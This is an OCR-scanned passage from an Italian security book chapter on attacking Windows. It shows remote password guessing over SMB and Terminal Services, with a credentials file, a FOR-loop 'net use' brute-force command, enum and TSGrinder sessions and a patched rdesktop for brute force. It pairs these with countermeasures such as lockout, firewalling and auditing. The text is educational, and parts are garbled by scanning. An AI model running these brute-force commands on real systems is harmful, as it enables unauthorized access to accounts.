ficacia delle contromisure radar ottenuti dall’'ultima serie di voli di test del piu recente
prototipo di drone militare realizzato dalla sua azienda. Randall era orgoglioso di lavorare
in un settore cosl tecnicamente avanzato e vitale per la protezione dei suoi connazionali,
ma non poteva parlarne con gli amici, a causa del segreto militare, percio spesso soffriva
il fatto di lavorare nell’anonimato.

Anche quella mattina si sentiva cosi, mentre consultava rapidamente le email aziendali
preparandosi per I'ennesimo viaggio profondo ma monotono tra i segreti vitali per la
nazione. Sfortunatamente, nella casella della posta in arrivo non ¢’era molto che potesse
alleviare la sua sofferenza quella mattina... ma un momento, che cos’¢? Un’email da
LinkedIn che sembrava collegata a quel profilo professionale aggiornato che aveva inviato
online proprio la sera prima. Fece clic sul messaggio e lo osservo aprirsi nel riquadro di
anteprima automatica sulla destra.

Mentre Randall consultava il messaggio email, prese avvio una cascata di attivita che ando
a compromettere il suo sistema Windows 7. Per la maggior parte era del tutto invisibile
a Randall, tranne una singola voce che avrebbe trovato molto tempo dopo nei suoi log
di sistema:

Type: Error SystemTime: 2011-12-11T12:51:52.250273700Z

Source: TermDD EventID: 56  EventRecordID: 140482

EventData: \Device\Termdd 116.125.126.12
0000040002002C00000038000ACO0000000038000ACOD0O000CO

Event: The Terminal Server security layer detected an error in the protocol stream and
has disconnected the client. Client IP: 116.125.126.12

Mesi dopo, gli esperti di informatica forense ingaggiati dalla sua azienda avrebbero corre-
lato questa singola voce con una comunicazione partita dal computer di Randall e diretta
quasi certamente a un sistema “bot” compromesso su Internet, usato per nascondere la
connessione attraverso un intermediario dall’aspetto innocente. Ormai pero i dati con-
tenuti in quella comunicazione erano andati, e probabilmente si trovavano nelle mani di
chi poteva offrire di piu per accedere ai segreti aziendali...
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Veder maturare in Microsoft la consapevolezza di In questo capitolo
dover affrontare 1 problemi di sicurezza, fin dalla prima

edizione di questo libro, quasi dieci anni fa, ¢ stato + Panoramica
davvero avvincente. Prima ¢ stato necessario chiudere «  Attacchi senza

le falle pit grosse: vulnerabilita della configurazione autenticazione

che si potevano sfruttare facilmente come le sessioni
null NetBIOS e 1 buffer overflow in IIS scatenarono
exploit pitt complessi e attacchi portati agli utenti fina-

o Attacchicon
autenticazione

li attraverso Internet Explorer. Microsoft ha pubblicato ° Fsm.zionalité
una media di circa 70 bollettini di sicurezza I’anno, su df sicurezza
di Windows

tutti 1 suoi prodotti, dal 1998, e non di vedono segni
di rallentamento, nonostante sia diminuito il numero
di bollettini di sicurezza per alcuni prodotti specifici.
Certamente Microsoft ha corretto in modo diligente
la maggior parte dei problemi che si sono presentati,
e ha lentamente innalzato il livello di sicurezza di
Windows con nuove funzionalita, durante 1’evoluzio-
ne delle varie versioni. Queste contromisure hanno
causato uno spostamento dell’attenzione degli hacker
verso aree diverse dell’ecosistema di Windows: dai
servizi di rete ai driver del kernel fino alle applica-
zioni, per esempio. Benché siano state implementate
numerose caratteristiche tese a rendere molto piu
difficile la possibilita di sfruttare vulnerabilita (come
DEPASLR e cosi via, che vedremo nel prosieguo del
capitolo), non si ha notizia di una soluzione radicale
che sia stata in grado di ridurre decisamente il numero
di vulnerabilita della piattaforma, ancora alto come
testimonia il flusso continuo di bollettini e avvisi sulla
sicurezza forniti dalla casa di Redmond.

Riflettendo e osservando la sicurezza di Windows in
un periodo di molti anni, abbiamo ridotto le aree di
massimo rischio a due fattori: popolarita e complessita.
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La popolarita ¢ una moneta a doppia faccia per chi utilizza tecnologie Microsoft. Da un
lato si hanno i vantaggi vantaggio di un ampio supporto tecnico, di un’accettazione quasi
universale da parte degli utenti e di un robusto ecosistema di supporto a livello mondiale.
Dall’altro lato, la monocultura dominante di Windows ¢ sempre il bersaglio di elezione
per gli hacker che elaborano exploit sofisticati e poi li rendono noti su scala globale (i
worm Internet basati su vulnerabilitd di Windows quali Code Red, Nimda, Slammer,
Blaster, Sasser, Netsky, Gimmiv e cosl via testimoniano la persistenza di questo problema).
Sara interessante vedere se o come questa dinamica cambiera con il crescente successo
di altre piattaforme (come i sempre piu diffusi prodotti di Apple), e anche se funzionalita
come ASLR (Address Space Layout Randomization) incluse nelle pit recenti versioni di
Windows avranno Deffetto atteso.

La complessita &, probabilmente, I'altro fattore che genera le vulnerabilitd di Microsoft. E
stato reso noto che il codice sorgente del sistema operativo ¢ stato ampliato di circa dieci
volte da NT 3.51 a Windows 7. Parte di questa crescita era probabilmente attesa (e forse
fornisce anche miglioramenti utili), data 'evoluzione dei requisiti richiesti dagli utenti e
dai progressi tecnologici.

Alcuni segni indicano che il messaggio stia cominciando a passare. Windows XP Service
Pack 2,Vista e Windows 7 sono stati forniti con servizi di rete ridotti e un firewall abi-
litato nell’installazione di default. Nuove funzionalita come UAC (User Account Control)
hanno aiutato a convincere utenti e sviluppatori dei benefici concreti che si ottengono
riducendo al minimo 1 privilegi. Benché, come sempre, Microsoft tenda a seguire le
tendenze, anziché guidarle, per quanto riguarda questi miglioramenti (i firewall basati su
host e la possibilita di cambiare utente sono funzionalita introdotte prima in altri sistemi),
non si puo fare a meno di ammirare il fatto che I'azienda sia riuscita a introdurre queste
funzionalita su larga scala. Certamente saremmo 1 primi ad ammettere che lattivita di
hacking di una rete Windows costituita prevalentemente da sistemi Windows 7 e Windows
Server 2008 (nelle configurazioni di default) ¢ molto piu difficile rispetto a un ambiente
dove abbondano 1 predecessori di questi sistemi.

Dopo aver presentato una visione generale della sicurezza di Windows, possiamo entrare
nei dettagli, non prima pero di una panoramica sulla struttura di questo capitolo.

NOTA

Achieinteressato a una trattazione approfondita sull'architettura di sicurezza di Windows dal
punto di vista di un hacker, alle funzionalita di sicurezza e a un esame piu dettagliato delle
vulnerabilita di Windows e dei modi per porvi rimedio, che comprenda exploit di IS, SQL
e TermServ, consigliamo il volume Hacking Exposed Windows, Third edition (McGraw-Hill
Professional, 2007; winhackingexposed. com).

Panoramica

Questo capitolo ¢ suddiviso in tre paragrafi principali, descritti di seguito:

» Attacchi senza autenticazione. In questo paragrafo si parte dalla conoscenza del
sistema bersaglio ottenuta grazie alle tecniche descritte nei Capitoli 2 e 3 per trattare
gli exploit di rete da remoto.
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e Attacchi con autenticazione. Supponendo che uno degli exploit descritti in
precedenza abbia successo, 'hacker passa a scalare i privilegi, se necessario, al fine
di ottenere il controllo remoto della vittima, estrarre password e altre informazioni
utili, installare backdoor e coprire le proprie tracce.

* Funzionalita di sicurezza di Windows. Quest’ultimo paragrafo fornisce una
trattazione completa delle contromisure integrate nel sistema operativo e le migliori
tecniche per contrastare 1 molti exploit descritti nei paragrafi precedenti.

Prima di iniziare, riteniamo importante sottolineare ancora una volta che in questo ca-
pitolo si assume che gran parte dei fondamenti per attaccare un sistema Windows siano
stati gia posti: selezione del bersaglio (Capitolo 2) ed enumerazione (Capitolo 3). Come
avete visto nel Capitolo 2, la scansione di porte, la cattura di banner e I'identificazione
di servizi sono 1 principali mezzi per identificare sistemi Windows in rete. Nel Capitolo
3 abbiamo mostrato in dettaglio come vari strumenti utilizzati per sfruttare punti deboli
come le sessioni null SMB possano fornire utilissime informazioni su utenti, gruppi e
servizi Windows. In questo capitolo sfruttiamo le copiose quantita di dati raccolti nei
capitoli precedenti per trovare comode strade di ingresso nei sistemi Windows.

Argomenti non trattati

In questo capitolo non sono trattati in modo esaustivo 1 numerosi strumenti disponibili
su Internet per svolgere le attivitd a cui siamo interessati. Metteremo in luce quelli piu
eleganti e utili (secondo la nostra modesta opinione), ma rimanendo concentrati sui prin-
cipi generali e le metodologie di attacco. Quale modo migliore per preparare il proprio
sistema Windows a un tentativo di penetrazione?

Un importante argomento non trattato qui ¢ la sicurezza a livello di applicazione.
Probabilmente le pitt importanti metodologie di attacco a Windows non trattate in
questo capitolo sono le tecniche di hacking delle applicazioni web. Le protezioni a
livello del sistema operativo sono spesso rese inutili da tali attacchi. Questo capitolo
tratta il sistema operativo, incluso il server web integrato in IIS, ma non la sicurez-
za delle applicazioni, tema per il quale rimandiamo al Capitolo, oltre che al volu-
me Hacking Exposed Web Applications, Third edition (McGraw-Hill Professional, 2010;
webhackingexposed. com).

Attacchi senza autenticazione

I principali vettori utilizzati per compromettere sistemi Windows da remoto sono 1 seguenti:

 Falsificazione dell’autenticazione (spoofing). Il principale custode dell’accesso
ai sistemi Windows rimane la password, in tutta la sua fragilitd. Le comuni tecniche
di attacco di forza bruta o con dizionario e di spoofing o falsificazione dell’autenti-
cazione (‘“man-in-the-middle”) rimangono minacce concrete per le reti Windows.

* Servizi di rete. Con i moderni strumenti ¢ facile penetrare i servizi vulnerabili in
ascolto sulla rete.

* Vulnerabilita dei client. Software client come Internet Explorer, Outlook, Office,

Adobe Acrobat Reader e altri sono tutti sotto stretta osservazione da parte degli
hacker che cercano di ottenere un accesso diretto ai dati degli utenti finali.
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* Driver di periferica. Le ricerche in corso continuano a evidenziare nuove aree di
attacco in cui il sistema operativo analizza i dati provenienti da periferiche come schede
di rete wireless, chiavette di memoria USB e supporti rimovibili come CD e DVD.

Se proteggete queste vie di entrata, compirete un importante passo verso la sicurezza dei
vostri sistemi Windows. In questo paragrafo vi mostreremo 1 punti deboli pitt importanti
di queste caratteristiche e 1 modi per porvi rimedio.

Attacchi con falsificazione dell’autenticazione (spoofing)

Benché non siano eleganti ed eccitanti come il bufter overflow, le tecniche che prevedono
di indovinare o falsificare le credenziali di autenticazione rimangono tra quelle piu facili
per ottenere 'accesso non autorizzato a Windows.

\lé
0 "~ Determinare la password da remoto

Popolarita: 7
Semplicita: 7
Impatto: 6
Grado di rischio: 7

La via tradizionale per violare i sistemi Windows da remoto ¢ quella di attaccare il servizio
di condivisione di file e stampanti, che opera su un protocollo denominato SMB (Server
Message Block).A SMB si accede attraverso due porte TCP:445 e 139 ('ultima ¢ mantenuta
per compatibilita con un vecchio servizio NetBIOS). Tra gli altri servizi fatti oggetto di
attacchi che puntano a indovinare la password vi sono MSRPC (Microsoft Remote Procedure
Call) sulla porta TCP 135, TS (Términal Services) sulla porta TCP 3389 (anche se questo
servizio puo essere facilmente configurato per utilizzare una porta diversa), SQL sulle
porte TCP 1433 ¢ UDP 1434, e prodotti basati sul Web che utilizzano I'autenticazione
Windows, come SharePoint (SP) su HTTP e HTTPS (porte TCP 80 e 443, ed eventuali
porte personalizzate). In questo paragrafo esamineremo brevemente strumenti e tecniche
per attaccare ciascuno di questi servizi.

SMB non ¢ accessibile da remoto nella configurazione di default di Windows Vista, Win-
dows 8 (se si seleziona 'opzione predefinita Refe pubblica al momento dell’installazione,
quando viene chiesto di specificare la configurazione di rete, cfr. windows .microsoft.com/
en-US/windows7/Choosing-a-network-location)e Server 2008, perché ¢ bloccato per default
da Windows Firewall. Un’eccezione si ha con i controller di dominio di Windows Server,
che sono riconfigurati automaticamente quando si sceglie di esporre in rete SMB. Ipotiz-
zando che SMB sia accessibile, il metodo piu efficace per entrare in un sistema Windows
¢ il buon vecchio trucco di montare una condivisione remota: tentare di connettersi a
una condivisione enumerata (come IPC$ o C$) e provare tante combinazioni di nome
utente e password finché non si trova quella che funziona. Si ottengono ancora buoni
livelli di successo utilizzando le tecniche manuali per individuare la password discusse nei
Capitoli 2 e 3, operando dall'interfaccia grafica di Windows (Strumenti | Connetti unita
di rete) o dalla riga di comando, come ¢ mostrato di seguito, utilizzando il comando net
use. Specificando un asterisco (*), invece di una password, si fa in modo che il sistema
remoto chieda di inserirne una:
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C:\> net use \\192.168.202.44\IPC$ * /u:Administrator
Type the password for \\192.168.202.44\IPC$:
The command completed successfully.

SUGGERIMENTO

Se il tentativo di effettuare il login utilizzando soltanto un nome di account fallisce, pro-
vate a utilizzare la sintassi DOMINIO\account. Per scoprire i domini Windows disponibili
si possono utilizzare gli strumenti e le tecniche descritti nel Capitolo 3.

Questa tecnica si puo facilmente applicare mediante uno script della riga di comando, basta
creare un semplice ciclo utilizzando il comando FOR della shell di Windows e la sintassi di
net use evidenziata in precedenza. Per prima cosa si crea un semplice file con le consuete
combinazioni di nomi utente e password (cfr., per esempio, virus.org/default-password/).
Tale file potrebbe essere simile al seguente:

[file: credentials.txt]

password username

o Administrator
password Administrator
admin Administrator
administrator Administrator
secret Administrator
etc. . . .

Notate che per separare 1 valori si pud utilizzare qualsiasi delimitatore; in questo caso
abbiamo utilizzato delle tabulazioni. Notate anche che le password vuote dovrebbero
essere indicate come doppi apici vuoti (“”) nella colonna sinistra.

Ora possiamo utilizzare questo file come input per il nostro comando FOR:

C:\>FOR /F "tokens=1, 2*" %i in (credentials.txt) do net use \\target\IPC$ %i /u:%j

Questo comando analizza il file credentials.txt, catturando 1 primi due elementi di
ciascuna riga e inserendo il primo come variabile %i (la password) e il secondo come %j
(il nome utente) in un tentativo di connessione standard con net use sulla condivisione
IPC$ del server bersaglio. Digitate FOR /? al prompt dei comandi per ottenere ulteriori
informazioni su tale comando, uno dei piu utili per gli hacker di Windows.
Naturalmente esistono molti software dedicati per automatizzare la tecnica di individua-
zione della password. Tra quelli gratuiti 1 pitt popolari sono enum (packetstormsecurity.org/
files/31882/enum.tar.gz), Brutus (www.hoobie.net/brutus), THC Hydra (thc.org/thc-hydra),
Medusa (foofus.net/?page_id=51) e Venom (www.cqure.net/wp/venom/).Venom attacca via
WNI (Windows Management Instrumentation), oltre a SMB, il che puo essere utile se il
servizio server ¢ disabilitato nel sistema bersaglio.

Ecco un semplice esempio di come utilizzare enum per cercare la password su un server
denominato mirage.

C:\>enum -D -u administrator -f Dictionary.txt mirage
username: administrator

dictfile: Dictionary.txt

server: mirage

(1) administrator |
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return 1326, Logon failure: unknown user name or bad password.
(2) administrator | password

[etc.]

(10) administrator | nobody

return 1326, Logon failure: unknown user name or bad password.
(11) administrator | space

return 1326, Logon failure: unknown user name or bad password.
(12) administrator | opensesame

password found: opensesame

Dopo aver determinato con successo la password, enum ha effettuato 'autenticazione per
la condivisione IPC$ sulla macchina bersaglio. enum ¢ molto lento nella sua attivita, ma ¢
accurato (produce tipicamente meno falsi negativi di altri strumenti).

Individuare password di Servizi Terminal/Desktop remoto ¢ piu difficile, perché 'inseri-
mento della password ¢ effettuato attraverso un’interfaccia grafica. TSGrinder automatizza
Pattivita di individuazione di password di Servizi Terminal/Desktop remoto da remoto, ed
¢ disponibile presso hammerofgod. com/download.aspx. Di seguito riportiamo un esempio di
sessione di TSGrinder che individua con successo una password su un sistema Windows
Server 2003 (la finestra grafica di login appare in parallelo con questa sessione a riga di
comando):

C:\>tsgrinder 192.168.230.244
password hansel - failed
password gretel - failed
password witch - failed
password gingerbread - failed
password snow - failed
password white - failed
password apple - failed
password guessme - success!

Per default TSGrinder cerca la password dell’utente amministratore, ma ¢ possibile spe-
cificare un nome utente diverso tramite I'opzione -u.

TSGrinder esiste ormai da parecchio tempo (¢ stato progettato per vecchie versioni di
‘Windows, come XP e 2003) e per farlo funzionare su versioni di Windows piu recenti
occorrono alcuni accorgimenti aggiuntivi. Dato che il programma non ¢ compatibile con
le versioni piu recenti di Connessione Desktop Remoto, occorre utilizzarne una versio-
ne piu vecchia, come descritto in securityfocus.com/archive/101/500801/30/0/threaded.
Quando lo si utilizza su sistemi Windows Vista o 7, nel registro di sistema ¢ necessario
impostare a 1 il valore HKEY_CURRENT_USER\Software\Microsoft\ Windows\
Windows Error Reporting\Dont Show UI (un trucco per evitare che si blocchi dopo
clascun tentativo di inserire una password) e utilizzare uno script personalizzato come il
seguente per provare ognuna delle password contenute nel file credentials.txt anziché
lasciare che TSGrinder lo faccia da solo:

C:\>FOR /F %i in (credentials.txt) do echo %i>adtsgrinder -w a
-u Administrator -n 1 192.168.230.244>>out

TSGrinder ¢ stato scritto per vecchie versioni di Windows come XP e 2003, ma ¢ pos-
sibile utilizzarlo anche su Windows 7 e su Windows 2008 Server, a patto che in questi
sistemi venga utilizzata la schermata di accesso classica (cfr. technet.microsoft.com/en-us/
magazine/ff394947.aspx) e che la limitazione per 1 thread simultanei sia impostataa 1 (-n 1).
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Un’altra opzione per scoprire con tecnica di forza bruta le password di Servizi Terminal/
Desktop remoto consiste nell’utilizzare Rdesktop (un client open source per Desktop
remoto di Windows che puo essere eseguito sulla maggior parte delle piattaforme UNIX,
incluso ovviamente Linux) assieme a una patch che aggiunge funzionalita per la scoperta
delle password con metodi di forza bruta. In sostanza, occorre procurarsi Rdesktop v1.5
su Internet (prdownloads.sourceforge.net/rdesktop/rdesktop-1.5.0.tar.gz), applicare la
patch di foofus (www.foofus.net/~jmk/tools/rdp-brute-force-r805.diff) con il comando
patch -p1 -i rdp-brute-force-r805.diff e poi ricompilare. esempio seguente spiega come
utilizzare Rdesktop cosi modificato per lanciare una sessione di attacco di forza bruta:

$./rdesktop -u Administrator -p credentials.txt 192.168.230.244

II client Rdesktop modificato con la patch funziona al meglio sulle vecchie versioni di
Windows, per esempio Windows Server 2003; non funziona in modo ottimale quando
il bersaglio ¢ Windows 7 o Windows Server 2008.

Per scoprire le password di altri servizi, come SharePoint, consigliamo Hydra di THC
oppure Brutus, dato che sono entrambi compatibili con pit protocolli, come HTTP
e HTTPS. Per scoprire le password di SQL Server si puo utilizzare sqlbf, reperibile su
numerosi siti Internet.

o Contromisure contro l'individuazione delle password

Diverse misure difensive, tra cui la seguente, possono eliminare o almeno scoraggiare I'uso
di tecniche per individuare la password:

 Ultilizzare un firewall di rete per limitare 'accesso a servizi potenzialmente vulnerabili
(quali SMB sulle porte TCP 139 e 445, MSRPC sulla porta TCP 135, TS sulla porta
TCP 3389).

e Utilizzare il firewall Windows residente sull’host (Windows XP e versioni successive)
per limitare 'accesso ai servizi.

* Disabilitare i servizi non necessari (in particolare SMIB sulle porte TCP 139 e 445).
e Imporre 'uso di password forti tramite criteri di protezione.

* Impostare una soglia per il blocco degli account e assicurarsi che valga per 'account
Administrator interno.

* Registrare in un log i tentativi falliti di accesso e consultare regolarmente il registro
eventi.

Francamente consigliamo di utilizzare tutte queste tecniche in parallelo per ottenere la
massima difesa, se possibile. Nel seguito le discutiamo brevemente una per una.

Limitare I'accesso ai servizi utilizzando un firewall di rete

La limitazione dell’accesso ¢ consigliabile se il sistema Windows interessato non ha la ne-
cessita di rispondere a richieste di risorse Windows condivise o di accesso a un terminale
remoto. Bloccate I'accesso a tutte le porte TCP e UDP che non servono in corrispondenza
del firewall o del router sul perimetro della rete, in particolare alle porte TCP 139 e 445.
Soltanto raramente si dovrebbe fare un’eccezione per SMB, perché I'esposizione di SMB
all’esterno del firewall pone un alto rischio di attacchi di vario tipo.
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Utilizzare Windows Firewall per limitare I'accesso ai servizi

11 firewall ICF (Internet Connection Firewall) fu introdotto per la prima volta in Windows
XP e poi rinominato in Windows Firewall nelle successive versioni client e server del
sistema operativo. Windows Firewall ¢ semplicemente un firewall Windows basato sull’host.
Le prime versioni presentavano molti difetti, ma la maggior parte di questi ¢ stata risolta
a partire da Windows Vista, percid oggi non vi € motivo per non abilitare questa funzio-
nalita. Non dimenticate che un firewall ¢ semplicemente uno strumento; sono le regole
che definiscono il livello di protezione raggiunto, percio occorre prestare attenzione alle
applicazioni per cui si concede I'accesso.

Disabilitare i servizi non necessari

Ridurre al minimo il numero di servizi esposti alla rete ¢ uno dei passi pitt importanti
per rendere pit sicuro il sistema. In particolare, disabilitare NetBIOS e SMB ¢ importante
per contrastare gli attacchi descritti precedentemente.

Disabilitare NetBIOS e SMB era molto complicato nelle vecchie versioni di Windows.
Su Vista, Windows 7 e Windows 2008 Server, invece, 1 protocolli di rete possono essere
disabilitati o rimossi utilizzando la cartella delle connessioni di rete (cercate in technet.
microsoft.com “Attivare o disattivare un protocollo o un componente di rete” oppure
“Rimuovere un protocollo o un componente di rete”). Potete anche utilizzare “Centro
connessioni di rete e condivisione” per controllare I'individuazione di rete e la condivisione
delle risorse (cercate in TechNet “Attivare o disattivare la condivisione e 'individuazione”).
Anche Criteri di gruppo si puo utilizzare per disabilitare I'individuazione e la condivi-
sione per specifici utenti e gruppi. Su sistemi Windows che dispongono della console
per la gestione dei criteri di gruppo (GPMC), avviate tale console digitando gpmc.msc
dall’apposita casella del menu start. Nel riquadro di navigazione della finestra, aprite le
seguenti cartelle: Criteri Computer locale, Configurazione Utente, Modelli amministrativi,
Componenti di Windows, Condivisioni di rete. Selezionate il criterio che volete applicare
dal riquadro dei dettagli, apritelo, fate clic su Attivata o Disattivata e confermate con OK.

NOTA

E necessario che GPMC sia installato su una versione diWindows compatibile; per ulteriori
informazioni cfr.blogs. technet.com/b/askds/archive/2008/07/07/installing-gpmc-
on-windows-server-2008-and-windows-vista-service-pack-1.aspx.

Imporre password forti utilizzando i criteri di protezione

Microsoft ha sempre fornito vari modi per richiedere automaticamente agli utenti di
utilizzare password forti; sono stati tutti consolidati all'interno del criterio di protezione
che si trova nello snap-in “Criteri di protezione locali” sotto Impostazioni protezione |
Criteri account | Criterio password in Windows 2000 e versioni successive (per accedere allo
snap-in “Criteri di protezione locali” basta aprire il Pannello di controllo e selezionare
Strumenti di amministrazione, oppure eseguire direttamente secpol.msc). In questo modo
¢ possibile applicare determinati criteri per le password, come una lunghezza minima e
dei requisiti di complessitd. E anche possibile fare in modo che gli account siano bloccati
dopo un certo numero di tentativi di login falliti. I criteri per gli account consentono agli
amministratori di disconnettere forzatamente gli utenti quando le ore di accesso previste
sono scadute, un’opzione utile per tenere lontano chi ama intrufolarsi net sistemi durante
le ore notturne. La finestra per le impostazioni dei criteri di account € mostrata di seguito:
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Impostare un limite di blocco

Una delle misure pit importanti per contrastare gli attacchi che puntano a individuare le
password SMB ¢ quella di impostare un limite di blocco per gli account. Una volta che
un utente raggiunge questo limite di tentativi di login falliti, il suo account viene bloccato
finché un amministratore non lo ripristina, o finché non trascorre un periodo di timeout
definito sempre dall’amministratore. Il limite si pud impostare selezionando Impostazioni
protezione | Criteri account | Criterio di blocco account in Windows 2000 e versioni successive.

| SUGGERIMENTO

L'uso del vecchio strumento Passprop di Microsoft che applicava manualmente criteri di
blocco dell'account Administrator locale non e piu possibile su Windows 2000 Service
Pack 2 e versioni successive.

Implementare un banner di login Servizi Terminal personalizzato

Per ostacolare gli attacchi che puntano a individuare la password di Servizi Terminal, si puo
implementare una nota legale personalizzata per il login di Windows; basta aggiungere o
modificare 1 seguenti valori del registro di sistema:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Nome Tipo dati Valore
LegalNoticeCaption REG_SZ [etichetta personalizzata
LegalNoticeText REG_SZ [messaggio personalizzato]

‘Windows visualizzera I'etichetta e il messaggio specificati da questi valori quando gli
utenti premono Ctrl+Alt+Canc e prima di visualizzare la finestra di accesso, anche
quando si accede tramite Servizi Terminal. TSGrinder ¢ in grado di aggirare facilmente
questa contromisura con 'opzione -b, che riconosce qualsiasi banner di accesso prima
di individuare le password. Anche se questo metodo non pud nulla per contrastare gli
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attacchi che puntano a individuare le password, specificare banner di accesso personalizzati
¢ considerata una buona pratica e pud creare una potenziale base per ricorrere a cause
legali, percio in generale la consigliamo.

Cambiare la porta TS di default

Un altro modo per contrastare gli attacchi che puntano a individuare le password in Ter-
minal Server ¢ quello di “nascondere” la porta di default su cui Terminal Server si mette
in ascolto. Naturalmente questo non comporta una maggiore protezione del servizio, ma
puo disorientare gli hacker che hanno troppa fretta per andare oltre una scansione della
porta di default. Per cambiare la porta di default di TS basta modificare la seguente voce
del registro di sistema:

HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp

Trovate la sottochiave PortNumber e notate il valore 00000D3D (in esadecimale, corri-
spondente a 3389 in decimale). Modificate il numero di porta in esadecimale e salvate il
nuovo valore. Naturalmente sara necessario riconfigurare 1 client TS per raggiungere il
server sulla nuova porta, cosa che si puo ottenere facilmente aggiungendo : [numero_porta]
al nome del server nella finestra del client TS, oppure modificando il file di connessione
del client (*.rdp) inserendo la riga Server Port = [numero_porta].

Controllo e log

Anche se forse nessuno entrera mai nel vostro sistema con un attacco di individuazione
della password, perché avete applicato dei criteri per raftorzare la sicurezza delle password
stesse e per bloccare gli account, vale comunque la pena di registrare in un file di log 1
tentativi di accesso falliti, utilizzando Impostazioni protezione | Criteri locali | Criteri controllo.
La Figura 4.1 mostra la configurazione consigliata. Benché queste impostazioni producano
1log piu ricchi di informazioni con un impatto relativamente minore sulle prestazioni, vi
consigliamo di fare delle prove prima di utilizzarle in ambienti di produzione.

E. Local Security Policy =l E3 |

File Action View Help

€| 7[R0 [E@ 6D

-=J_:_|I Security Settings Policy = | Security Setting |
:f__a. Account Policies | Audit account logon events Success, Failure
BHig chal Policies | Audit account management Success, Failure
- ] Audit Policy | Audit directory service access Success, Failure
’_31 User Blghts .f\smgnment | Audit logon events Success, Failure
£ Security Options | Audit object access Success, Failure
~| Windows Firewall with Advanced Security o ;
= - - | Audit policy change Success, Failure
" | Public Key Policies L ;
| Audit priviege use Success, Failure

| Software Restriction Policies
.g IP Security Policies on Local Computer

g tracking Mo auditing
| Audit system events Success, Failure

Figura 4.1 Impostazioni di controllo raccomandate per un server sicuro,
configurate tramite lo snap-in di Windows.



Hacking di Windows 153

Naturalmente non basta limitarsi ad abilitare il controllo. E necessario esaminare regolar-
mente i log cercando eventuali tracce lasciate da intrusi. Per esempio, un log di sicurezza
pieno di eventi 529/4625 o 539, corrispondenti rispettivamente ad accesso/disconnessione
fallito e al blocco dell’account, ¢ un potenziale sintomo del fatto che si ¢ oggetto di un
attacco portato da strumenti automatizzati (in alternativa, potrebbe semplicemente indi-
care che la password di un account di servizio ¢ scaduta). Il log identifica anche il sistema
che porta I'attacco, nella maggior parte dei casi. Scorrere manualmente il log di eventi ¢
un’attivita pesante, ma fortunatamente il Visualizzatore eventi consente di impostare dei
filtri per data, tipo, origine, categoria, utente, computer e perfino per ID.

Per chi cerca strumenti per analisi e la manipolazione dei file di log dalla riga di co-
mando, solidi e automatizzabili mediante script, consigliamo Dumpel, dal Windows 2000
Resourse Kit (cfr. support.microsoft.com/kb/927229), che opera su server remoti (servono
permessi appropriati) ed ¢ in grado di filtrare fino a dieci ID di evento simultaneamente.
Per esempio, utilizzando Dumpel possiamo estrarre i tentativi di accesso falliti (ID di
evento 529) sul sistema locale con la seguente sintassi:

C:\> dumpel -e 529 -f seclog.txt -1 security -m Security -t

Un altro ottimo strumento ¢ DumpEvt di SomarSoft (disponibile gratuitamente presso
systemtools.com/somarsoft/), che visualizza I'intero log di eventi in un formato adatto
all'importazione in un database di Access o SQL. Tuttavia, DumpEvt non ¢ in grado di
applicare filtri su specifici eventi.

Un altro strumento gratuito e interessante ¢ Event Comb di Microsoft (support.micro-
soft.com/kb/308471). Si tratta di un’utility multithreaded che analizza i log di eventi di
piu server contemporaneamente cercando specifici ID di evento, tipi di eventi, origini di
eventi e cosi via. Tutti i server devono essere membri di un dominio, perché EventComb
funziona soltanto se puod innanzitutto connettersi a un dominio.

ELM Log Manager diTNT Software (tntsoftware.com) ¢ un altro strumento utile; fornisce
funzionalita di monitoraggio e notifica dei log di eventi centralizzate e in tempo reale
su tutte le versioni di Windows, e oftre la compatibilita con Syslog e SNMP per sistemi
diversi da Windows. Non I’abbiamo utilizzato direttamente, ma ne abbiamo sentito parlare
molto bene da varie fonti professionali.

Impostare allarmi in tempo reale

Dopo l'analisi dei log, si passa a impostare degli avvisi o allarmi in tempo reale. I sistemi
di rilevamento/prevenzione delle intrusioni (IDS/IPS) e quelli per il monitoraggio di
eventi e informazioni relativi alla sicurezza (SEIM, Security Event and Information Monitoring)
sono sempre apprezzati dalle organizzazioni che cercano di automatizzare le attivita di
monitoraggio della sicurezza. Una trattazione approfondita di questi prodotti va oltre lo
scopo di questo libro, ma gli amministratori che hanno a cuore la sicurezza dovrebbero
tenersi informati su queste tecnologie. Che cosa c’¢ di pit importante di un allarme di
sicurezza per una rete Windows?

NI/

" Spiare lo scambio di password in rete

Popolarita: 6
Semplicita: 4
Impatto: 9

6

Grado di rischio:
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Individuare le password € un lavoro duro. Perché non spiare i dati che transitano lungo i
cavi di connessione quando gli utenti accedono a un server, e poi reinserirli per accedere a
propria volta? Se un hacker ¢ in grado di spiare gli scambi di dati per 'accesso a Windows,
puo risparmiare tempo e fatica. Esistono tre tipi di attacchi “spionistici” contro Windows,
corrispondenti a LM, NTLM e Kerberos.

Gli attacchi portati al vecchio protocollo di autenticazione LAN Manager (LM) sfruttano un
punto debole nell'implementazione del meccanismo di richiesta/risposta di Windows che
facilita il compito di individuare, con un’analisi esaustiva,]’hash LM originale (I'equivalente
di una password, che puo essere reinserito tale e quale, oppure decodificato per rivelare la
password in chiaro). Microsoft ha risolto questo difetto in Windows 2000, principalmente
disabilitando I'uso dell’autenticazione LM, ma ¢ ancora possibile trovare reti Windows che
utilizzano tale protocollo (insieme a protocolli pitt moderni e sicuri quali NTLM) per
supportare vecchi sistemi, o semplicemente a causa di una configurazione poco attenta alla
sicurezza. Tra gli strumenti per attaccare autenticazione LM ci sono Cain di Massimiliano
Montoro (www.oxid.it), LCP (disponibile presso lcpsoft.com), John The Ripper Jumbo
(una versione potenziata di John The Ripper, con il supporto per l'autenticazione LM
e molti altri tipi di hash e cifratura, disponibile presso openwall.com/john/) e LOpthcrack
con SMB Packet Capture (disponibile presso lophtcrack.com/ come versione commerciale
con periodo di prova di 14 giorni). La funzione di sniffing delle password ¢ integrata in
LOphtcrack e Cain tramite il driver di pacchetto WinPcap, mentre in LCP ¢ necessario
importare manualmente i file di sniffer per sfruttare il punto debole della risposta di LM.

NOTA

Anche l'implementazione di Microsoft del protocollo di autenticazione NTLM nelle versioni
1 e 2 presentava dei punti deboli, tra cui I'uso di nonce deboli e facili da prevedere che
consentivano attacchi di tipo eavesdropping e man-in-the-middle attacks. Cfr. il docu-
mento ampliasecurity.com/research/0CHOA-2010-0209. txt per ulterioriinformazioni.

Il piu potente tra i programmi citati ¢ Cain, che integra funzioni di sniffing delle password
